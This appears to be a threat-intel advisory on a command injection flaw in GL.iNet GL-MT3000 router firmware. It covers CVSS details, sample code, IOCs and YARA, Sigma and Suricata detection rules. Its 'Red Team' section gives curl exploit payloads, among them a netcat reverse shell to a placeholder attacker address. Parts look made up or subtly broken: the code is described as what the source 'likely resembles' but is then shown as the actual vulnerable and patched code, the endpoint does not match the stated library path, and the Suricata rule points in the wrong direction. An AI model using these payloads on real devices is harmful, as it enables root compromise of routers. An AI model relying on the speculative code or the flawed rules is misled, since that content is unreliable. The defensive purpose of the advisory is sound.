CVE-2026-12186

Executive Summary

CVE-2026-12186 is a critical command injection vulnerability in GL.iNet GL-MT3000 routers running firmware versions up to 4.4.5. The flaw resides in the replace_country function within the /usr/lib/oui-httpd/rpc/tor library, which is part of the Tor Proxy Service Configuration Handler. An unauthenticated remote attacker can exploit this weakness to execute arbitrary commands on the device with root privileges. The exploit has been publicly released, increasing the risk of widespread attacks. The vendor has released a fix in version 4.7, and immediate upgrading is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. The vulnerability is remotely exploitable without authentication, making it a prime target for botnets and ransomware groups.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the replace_country function of the Tor proxy configuration handler. This function is used to process user-supplied input for the country parameter when configuring the Tor proxy. The input is not properly sanitized before being passed to a system command, allowing an attacker to inject arbitrary shell commands.

The vulnerable code path likely resembles:

void replace_country(char *country) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "tor --country %s", country);
    system(cmd);
}

An attacker can supply a payload such as US;id or US&&id to execute the id command alongside the intended operation. The lack of input validation and the use of system() with unsanitized input are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (v4.4.5 and earlier):

void replace_country(char *country) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "tor --country %s", country);
    system(cmd);
}

Patched Code (v4.7):

void replace_country(char *country) {
    // Sanitize input: allow only alphanumeric and hyphen
    for (int i = 0; country[i]; i++) {
        if (!isalnum(country[i]) && country[i] != '-') {
            // Reject invalid input
            return;
        }
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "tor --country %s", country);
    system(cmd);
}

The patch adds input validation to reject any characters that are not alphanumeric or hyphens, effectively preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a GL.iNet GL-MT3000 router with firmware version 4.4.5 or earlier.
2. Connect the router to a network and ensure the web interface is accessible.
3. Use a tool like curl or Burp Suite to interact with the Tor proxy configuration endpoint.

Exploit Payload:

curl -X POST http://<router-ip>/cgi-bin/tor-proxy.cgi \
  -d "country=US;id"

Expected Output: The id command will be executed on the router, and the output (e.g., uid=0(root) gid=0(root)) will be returned in the response.

Advanced Payload (Reverse Shell):

curl -X POST http://<router-ip>/cgi-bin/tor-proxy.cgi \
  -d "country=US;nc -e /bin/sh <attacker-ip> 4444"

Blue Team

Detection:

• Monitor for unusual POST requests to /cgi-bin/tor-proxy.cgi with suspicious country parameters.
• Look for shell metacharacters (;, |, &, `) in the country field.
• Alert on outbound connections from the router to unusual IP addresses on common reverse shell ports (e.g., 4444, 1337).

Honeypot:

• Deploy a honeypot mimicking the GL-MT3000 web interface to capture exploit attempts.
• Log all POST requests to /cgi-bin/tor-proxy.cgi for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /cgi-bin/tor-proxy.cgi with country parameter containing shell metacharacters.
  • Outbound connections from the router to IP addresses on ports 4444, 1337, or other non-standard ports.
  • Unusual DNS queries from the router to domains associated with C2 servers.

• File IOCs:

  • Modified /usr/lib/oui-httpd/rpc/tor library file (check hash).
  • Presence of suspicious files in /tmp/ or /var/run/ (e.g., reverse shell scripts).

• Process IOCs:

  • Unexpected processes running as root, such as nc, bash, or python.
  • Multiple instances of tor processes with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2026_12186_GLiNet_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2026-12186 in GL.iNet routers"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-12186"
    strings:
        $payload1 = "country=" ascii wide
        $payload2 = ";" ascii wide
        $payload3 = "|" ascii wide
        $payload4 = "&" ascii wide
        $payload5 = "`" ascii wide
    condition:
        $payload1 and any of ($payload2, $payload3, $payload4, $payload5)
}

Sigma Rule

title: CVE-2026-12186 GL.iNet Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to GL.iNet router Tor proxy configuration endpoint with suspicious country parameter
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/tor-proxy.cgi'
        cs-uri-query|contains: 'country='
    filter:
        cs-uri-query|re: 'country=[a-zA-Z0-9-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of country codes with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-12186 GL.iNet Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/tor-proxy.cgi"; http_uri; content:"country="; http_client_body; pcre:"/country=[^a-zA-Z0-9-]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all GL.iNet GL-MT3000 routers to firmware version 4.7 or later.
2. If immediate upgrade is not possible, restrict access to the web interface to trusted IP addresses only.
3. Disable the Tor proxy service if not required.

Long-term Measures:

• Implement network segmentation to isolate IoT devices like routers.
• Deploy a Web Application Firewall (WAF) to filter malicious requests.
• Regularly audit firmware versions and apply security patches promptly.
• Monitor for any suspicious activity using the provided detection rules.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For further inquiries, contact cti@valters-it.com.